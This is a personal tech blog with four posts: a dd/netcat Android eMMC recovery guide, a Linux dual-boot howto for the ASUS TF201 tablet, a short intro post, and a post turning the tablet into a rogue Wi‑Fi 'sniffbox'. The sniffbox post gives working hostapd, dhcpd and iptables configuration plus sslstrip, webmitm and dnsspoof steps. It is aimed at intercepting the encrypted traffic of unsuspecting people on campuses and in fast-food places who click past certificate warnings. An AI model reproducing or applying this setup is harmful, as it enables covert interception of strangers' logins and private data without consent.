Tuesday, October 1, 2013

disaster recovery on android phones

hi guys,
i had a problem with a customer phone and flashing roms, radios and all that stuff doesn't help at all.
so i decided to do a nandroid restore in my own way.

first of all here you are what you need:
- good knowledge of linux common commands/tools
- the damaged phone ( with recovery accessible )
- a good phone of the same model [ optional ]

you don't need a good phone if you already make a dd backup of the damaged one when it was running fine ( explained later ).
NOTE: if you got some connection error while launching netcat ( nc ) try to run the adb forward command again from another shell.

step 1

read from good


first of all we need to read the whole emmc from the good phone ( i suggest to do this in recovery, when your phone doesn't use emmc so much ):
adb forward tcp:4444 tcp:4444
adb shell
su
nc -l -p 4444 -e dd if=/dev/block/mmcblk0
now, from another shell:
adb forward tcp:4444 tcp:4444
nc 127.0.0.1 4444 > backup.dd
...wait...
congratulations! now you have a bulletproof backup of a phone.

setp 2

understand where is the recovery

since you are going to overwrite the whole emmc you must be sure to not overwrite something that is in use while you are doing the restore job.
so, you need a lot of oil for your brain gears.
2 hints that will save you hours of googling: /proc/emmc or /proc/mtd have the names of your partitions, and /proc/partitions have their sizes.
so, after you figured out which partition is the recovery one, lets find out where it starts in our backup.
use fdisk -l on the bakup image ( backup.dd ) to find out where our recovery starts.
here is my output:
Warning: omitting partitions after #60.
They will be deleted if you save this partition table.
Disk mmcblk0: 15.6 GB, 15634268160 bytes, 30535680 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
        Device Boot      Start         End      Blocks   Id  System
mmcblk0p1   *           1         256         128   4d  QNX4.x
mmcblk0p2             257         768         256   51  OnTrack DM6 Aux1
mmcblk0p3             769      262110      130671   5d  Unknown
mmcblk0p4          262111    30535678    15136784    5  Extended
mmcblk0p5          262112      262143          16   5a  Unknown
mmcblk0p6          262145      262656         256   73  Unknown
mmcblk0p7          262658      293812       15577+  5b  Unknown
mmcblk0p8          293814      294325         256   5c  Priam Edisk
mmcblk0p9          294327      296374        1024   45  Unknown
mmcblk0p10         296376      296887         256   47  Unknown
mmcblk0p11         296889      300984        2048   46  Unknown
mmcblk0p12         300986      303033        1024   4c  Unknown
mmcblk0p13         303035      303098          32    0  Empty
mmcblk0p14         303100      315387        6144   34  Unknown
mmcblk0p15         315389      317436        1024   36  Unknown
mmcblk0p16         317438      319485        1024    0  Empty
mmcblk0p17         319487      411646       46080   77  Unknown
mmcblk0p18         411648      432127       10240   7a  Unknown
mmcblk0p19         432129      442368        5120    0  Empty
mmcblk0p20         442370      458750        8190+  74  Unknown
mmcblk0p21         458752      491519       16384   48  Unknown
mmcblk0p22         491521      524287       16383+  71  Unknown
mmcblk0p23         524289      526333        1022+  76  Unknown
mmcblk0p24         526335      534526        4096   4a  Unknown
mmcblk0p25         534528      542719        4096   4b  Unknown
mmcblk0p26         542721      583680       20480   19  Unknown
mmcblk0p27         583682      583689           4    0  Empty
mmcblk0p28         583691      584202         256   23  Unknown
mmcblk0p29         584204      584235          16    0  Empty
mmcblk0p30         584237      586797        1280+   0  Empty
mmcblk0p31         586799      586926          64    0  Empty
mmcblk0p32         586928      786431       99752    0  Empty
mmcblk0p33         786433     4194302     1703935   83  Linux
mmcblk0p34        4194304     4718590      262143+  83  Linux
mmcblk0p35        4718592    30408703    12845056   83  Linux
mmcblk0p36       30408705    30508704       50000    c  W95 FAT32 (LBA)
mmcblk0p37         262112      262143          16   5a  Unknown
mmcblk0p38         262145      262656         256   73  Unknown
mmcblk0p39         262658      293812       15577+  5b  Unknown
[garbage truncated...]


NOTE: there is a lot of garbage, if you known that there is 36 partitions, just ignore everything comes after.

for me the recovery partition is the 22.
my partition start at block #491521 ( NOTE that i wrote block, not byte ).
you HAVE TO run some test before start writing, to be sure that your offset/sizes are correct.
[from adb]
dd if=/dev/block/mmcblk0 count=1 of=/dev/null
this will return how many bytes are stored in one block of your emmc, the BLOCK_SIZE.
now the output from your workstation:
dd if=backup.dd bs=1 skip=$(( START_BLOCK * BLOCK_SIZE )) count=100 | hexdump -C
should be the same of this command from adb:
dd if=RECOVERY_PARTITION bs=1 count=100 | hexdump -C
replace:
START_BLOCK with the block # where your partition starts ( 491521 for me )
BLOCK_SIZE with the size of one bolck of your emmc
RECOVERY_PARTITION with the partition to where the recovery it's stored ( /dev/block/mmcblk0p22 for me )

is it all ok? is everything correct? are you sure?
well, just for be very sure of what we are going to do let's test the next important address.
let's check that the recovery partition ends where we think that it will.
from the fdisk output let's take the start block of the partition next to the recovery one.
for me it's partition 23 ( 22 + 1 ), which start on #524289, it will be our END_BLOCK.
now repeat the previous commands changing partition number and start_block.
you should have the same output from adb and your workstation.

step 3

writing to damaged phone

we are now ready to write the whole good emmc to the damaged phone, skipping the recovery partition.
let's do this.
reboot the damaged phone into recovery.
start copying everything before the recovery.
adb forward tcp:4444 tcp:4444
adb shell
su
nc -l -p 4444 -e dd bs=1 of=/dev/block/mmcblk0
from another shell:
adb forward tcp:4444 tcp:4444
dd if=backup.dd bs=1 count=$(( START_BLOCK * BLOCK_SIZE )) | nc 127.0.0.1 4444
...wait...
let's copy everything after the recovery partition:
[from adb]
nc -l -p 4444 -e dd bs=1 seek=$((END_BLOCK * BLOCK_SIZE )) of=/dev/block/mmcblk0
from your workstation:
dd if=backup.dd bs=1 skip=$(( END_BLOCK * BLOCK_SIZE )) | nc 127.0.0.1 4444
PS: ignore dd warnings about lseek64 if any.
that's all folks!

if your device still KO please ensure to change device specific data.
for example HTC writes the phone IMEI into /dev/bock/mmcblk0p4 ( facepalm )

please ask for device-specific partitions in the device forum on XDA.

for any question feel free to comment this post, i'll answer ASAP.

-- tux_mind

Saturday, April 6, 2013

TF201 as sniffbox

this is the target of this article:
turn your TF201 into a wifi "bridge".... and sniff all data that pass though :)

here you are my sample use:
in my campus we have 2 main WiFi access points. one is protected with WPA-EAP, the other is OPEN but require a valid login for surfing.

AP--------TF201------TARGETS

the first thing to do is building the kernel module for your 2nd wifi card ( mine is ath9k_htc ).
just download the kernel sources and sign your wifi dongle driver as <M> in the menuconfig.

after this we have to update the kernel ( maybe your changes affects something else in kernel ).
if you are using kernel_chooser replace the kernel you used for boot before ( mine was in /media/data/boot/zImage ). remember to make a backup before.

reboot.

if you plug your wifi dongle after the booting process you should see it's own modules loaded.
for check this gives a "lsmod" command.

now we have 2 interfaces, we need some extra software for make our TF201 act like a router.
layman -a pentoo 
emerge -av --autounmask-write iptables dhcp dsniff hostapd sslstrip

i've emerged all these software fines. just unmask them.

now we have to configure them.
let's say that your client interface ( the one connected to the AP) is wlan0 and the server interface ( the one where we will accepting the targets connections ) is wlan2.
we will always use the usb dongle as server interface because the internal bcm4329 cannot operates as monitor.
in this example i will set the SSID of our dongle to "AndroidAP", in the real life i set this to the AP name ( AndroidAP will works great too ;) )
/etc/hostapd/hostapd.conf:

ssid=AndroidAP
interface=wlan2
auth_algs=1
channel=7
driver=nl80211
hw_mode=g
logger_stdout=-1
logger_stdout_level=2
max_num_sta=5
macaddr_acl=0
 /etc/dhcp/dhcpd.conf:

default-lease-time 600;
max-lease-time 7200;
option routers 192.168.50.1;
option domain-name-servers 192.168.50.1, 192.168.50.1;

subnet 192.168.50.0 netmask 255.255.255.0
{
pool
{
max-lease-time 600;
range 192.168.50.10 192.168.50.50;
option routers 192.168.50.1;
option domain-name-servers 192.168.50.1, 192.168.50.1;
allow unknown-clients;
}
}
let's start these 2 services:
/etc/init.d/hostapd start
/etc/init.d/dhcpd start
now we should see the AndroidAP opened access point from our smartphone.
the first time you run dhcpd it yells at you because the server interface doesn't have an ip address assigned.
look at the dhcpd.conf file and find the ip following the "option routers" string.
in this example it will be 192.168.50.1, so,
ifconfig wlan2 192.168.50.1
/etc/init.d/dhcpd start
now we have to forward packets from the server interface to the client one.
        echo 1 > /proc/sys/net/ipv4/ip_forward
        iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
        iptables -A FORWARD -i $IF_CLIENT -o $IF_SERVER -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
        iptables -A FORWARD -o $IF_CLIENT -i $IF_SERVER -j ACCEPT
we now have 2 choices:

  1. use webmitm: this program will use a self-signed certificate. most common web-browsers will show a warning about that, but if user accept this, every SSL connection will be handled by us. thus to let the user think to making a secure connection....and it's true....but with us :)
  2. use sslstrip: this program will talk on SSL with the remote hosts and will show all the results as unsecured web pages. it works only if user start a connection on the 80 port.
your choice depends from your environment. if you are in a university campus, with IT engineers around, most of them will be scared of a SSL warning. if you are on a public area like fast-foods, bars and so on.., most people will just press "Next" "I Agree" "OK" "let me surf!" :)
surely webmitm it's the preferred choice since it works also on connection started over the SSL protocol. but remember that modern web-browsers will show a big warning ( not IE lol )

if you choose sslstrip you have to route all packets sent to the 80 port to the 10000 one.
the 10000 port is the default for sslstrip, you can change this if you wish.
iptables -t nat -A PREROUTING -i wlan2 -p tcp --destionation-port 80 -j REDIRECT --to-port 10000
now start sslstrip in another shell
sslstrip
the last thing we have to setup it's the domain name resolver for the targets.
in this case we will route all dns queries to mom google.
iptables -t nat -I PREROUTING -i $IF_SERVER -p udp --destination-port 53 -j DNAT --to 8.8.8.8

Done!

if you choose webmitm we have to tells to our targets that the whole internet it's hosted on our TF201. launch in 2 separate shells:
webmitm
dnsspoof -i wlan2 

Done!

now you can sniff over the server interface :)
here you are a gentoo specific init script that will do all this automatically: http://pastebin.com/6ZpQrJEj

Friday, March 15, 2013

HOWTO

hi guys!
finally we got a stable version of this hack.
follow this article for got any linux distro on your TF201 ;)
a special thanks to Smasher816, he help me so much with the "GUI" ;)



prerequisites

This guide requires the Jelly Bean bootloader from ASUS, and will assume you already have installed it.
WARNING: if not, follow this guide before upgrading your TF201.
WARNING: for now only stock android works. custom "roms" kernels need to be patched. i'll post them here ASAP.
NOTE: in android /dev/mmcblk0p8 is /dev/block/mmcblk0p8 and it's mounted over /data
NOTE: your browser can add an extensions to the downloaded files, if yes remove them.
ERROR: sorry for my doggish english :( any suggestion/correction is appreciated
ERROR: ubuntu does not work now, we are debugging this.

downloads



step 1


install a linux distro somewhere

pick up an arm root FS of your prefered linux distro.
here you are some links:


the standard way is to extract the tarball to the root of the microsd or the USB stick.
ensure that the partition used is an ext2/ext3/ext4 filesystem.
thanks to root_choooser you can also have your distro inside a disk image or into a subdirectory of another device ( like the internal mmc ).
for extract a tarball you have to change the current directory to the root of your new linux system ( the USB stick for example ). then if the tarball ends with "gz":
tar -xzf /path/to/the/downloaded/tarball.tar.gz
else if ends with "bz" or "bz2":
tar -xjf /path/to/the/downloaded/tarball.tar.bz
now you have to configure it according to your chosen distro.

step 2


apply the root_patch

after you had set your distro you have to apply a root patch.
the root_patch is a distro-independent tarball that contains firmware, kernel modules and an alsa configuration file.
you have to change directory where you have extracted the previous tarball.
then extract the root_patch as follow:
tar -xzpf /path/to/root_patch.tar.gz
after this you should apply a distro-related patch. this is needed since any distro has it's own way to handle config files and modules options.
lets say that you have gentoo. always from the root of your distro you have to run this:
tar -xzpf /path/to/gentoo.tar.gz

step 3

configure kernel_chooser

you have to configure kernel_chooser before flashing it.
kernel_chooser read every file inside the /data/.kernel.d directory and parse it as follow:
NAME/DESCRIPTION
blkdev:kernel:initrd
CMDLINE
where:
  • NAME/DESCRIPTION is an optional description for the boot entry
  • blkdev is the device where other files are sotred
  • kernel is the kernel to boot
  • initrd is an optional initial ramdisk
  • CMDLINE is an optional commandline for the new kernel
if no CMDLINE is found or it's length is 0, the default one will be used,
if it starts with a '+' sign the rest of the CMDLINE will be appended to the default one.
otherwise CMDLINE will be used as new command line for the booted kernel.
keep in mind that the TF201 stock kernel require at least this string for boot:
"mem=1022M@2048M mem=1022M@2048M tegra_fbmem=4098560@0xabe01000 gpt"

kernel_chooser support also an optional default entry. the /data/.kernel file.
if this file exist you have 10 seconds to stop the default boot.

WARNING: kernel_chooser don't have an android initrd built in like root_chooser. you have to create a config for boot android too.

if you want to be able to boot android you have to create the related entry in the kernel.d directory.
let's say that you have the android_kernel and android_initrd under the /data/boot directory.
your /data/.kernel.d/android file will be:
android
/dev/mmcblk0p8:/boot/android_kernel:/boot/android_initrd
ok, lets make some example.
if you have your linux distro on your microsd and you have the kernel in /data/boot/zImage you should have a file named /data/.kernel.d/mylinux with this content:
my linux distro from my microSD
/dev/mmcblk0p8:/boot/zImage
+root=/dev/mmcblk1p1 rootwait
if you have your linux distro on an usb stick with the kernel on the /folder directory of the same device, your file /data/.kernel.d/anyname should looks like:
my linux distro from my USB stick
/dev/sda1:/folder/zImage
+root=/dev/sda1 rootwait
explication of some terms:
the "rootwait" kernel parameter tell to the kernel to wait for the specified root device, this is required for booting from USB stick and microsd because they are recognized after the kernel tries to mount the root device.
the "root" kernel parameter tell to the kernel what is the root device. this should point to the device containing your linux distro.

note for ubuntu users: please read carefully the Step 4.

from v3 we support a background image :)
you have to put your background in /data/background.bmp.
it MUST be in bitmap format with size of 1280 x 800 and 24bit of depth.
here you are a screenshot. ( colors are inverted )

Step 4

configure root_chooser


if you have installed your linux distro in the root directory of a device ( usually usb stick or microsd ) you can skip to step 5, except if you use ubuntu, which refuse to start without root_chooser due to some extra-userfriendly-feature. ( thanks to Vanryu )

if you have extracted the tarball into a sub directory of a device or you have an ext4 dd image of a root FS you must use root_chooser as initramfs.
the trick is that kernel_chooser can optionally load an initial ramdisk beside your kernel.
i made root_chooser, which read configuration from the kernel command line.
the syntax is the following:
newroot=blkdev:root_directory_or_image:init_path,init_arg1,init_arg2
where:
  • blkdev is the block device where your penguin lives
  • root_directory_or_image is the path to the directory where you extracted the tarball or the path to the dd image of a ext4 partition.
  • init_path is the path to the init process
  • init_arg1,init_arg2,init_arg3... are optional parameters for the init_path program
let's do some example!
i have a gentoo chroot under /data/gentoo, a working kernel in /data/boot/zImage and the root_chooser initrd in /data/boot/root_chooser. my /data/.kernel.d/gentoo will be:
gentoo
/dev/mmcblk0p8:/boot/zImage:/boot/root_chooser
+newroot=/dev/mmcblk0p8:/gentoo:/sbin/init
if i want a rescue entry:
gentoo ( rescue )
/dev/mmcblk0p8:/boot/zImage:/boot/root_chooser
+newroot=/dev/mmcblk0p8:/gentoo:/sbin/init,single
i have an ext4 dd image of a working ubuntu in /data/media/ubuntu.img ( /data/media = /sdacrd on our TF201), the usual kernel in /data/boot/zImage and root_chooser v6 in /data/boot/root_chooser6.gz, my kernel_chooser config file will be:
ubuntu from dd image
/dev/mmcblk0p8:/boot/zImage:/boot/root_chooser
+newroot=/dev/mmcblk0p8:/media/ubuntu.img:/sbin/init

let's say that you have ubuntu on the root of your microSD, you must use root_chooser anyway, due to some ubuntu's extra-userfriendly-features. ( this is a workaround IMHO ).
you'll have:
 ubuntu from SD
/dev/mmcblk0p8:/boot/zImage:/boot/root_chooser
+newroot=/dev/mmcblk1p1:/:/sbin/init

step 5

flash kernel_chooser

WARNING: ensure to have created the android config and files.

first of all you have to choose what method to use for flash the image.
  • fastboot - it's an open source program that uses an open source protocol
  • nvflash - it's a closed source program that writes partitions using nvidia custom stuff
personally i prefer fastboot since i can look at his source code if i wish, while when you launch nvflash everything is a secret....
download the image :
now connect you TF201 to your pc and shut it off. if you choose to use fastboot:
  1. take your TF201
  2. keep pressed the volume down button
  3. press the power button until the tablet vibrates
  4. release the volume down key after you see 4 icons
  5. press volume down until the green USB icon being selected
  6. press volume up
  7. go to your pc
  8. open a shell and type fastboot -i 0x0b05 flash boot /path/to/fastboot.blob
  9. you should see a blue bar on your TF201
if you choose to use nvflash:
  1. take your TF201
  2. keep pressed the volume up button
  3. press the power button until the tablet vibrates
  4. release the volume up button after 5 seconds
  5. go to your pc
  6. open a shell and type wheelie --blob your_secter_blob_file.bin
  7. then run nvflash -r --download 6 /path/to/nvflash.LNX


Step 6

reboot

reboot you TFP. we are done! ;)

TODO

notes for chroot into arch linux
tegra video drivers instructions
give a look to opentegra
ubuntu and arch_linux root_patches.

NO VIDEO AVAILABLE FOR v7, can someone make this ?


Thursday, March 7, 2013

why i choose blogger

hi all, tux_mind here.
i choose to use blogger since it's free and gives me more flexibility than a free account on wordpress.com.

i'll start to write the TF201 howto in this evening.
stay tuned ;)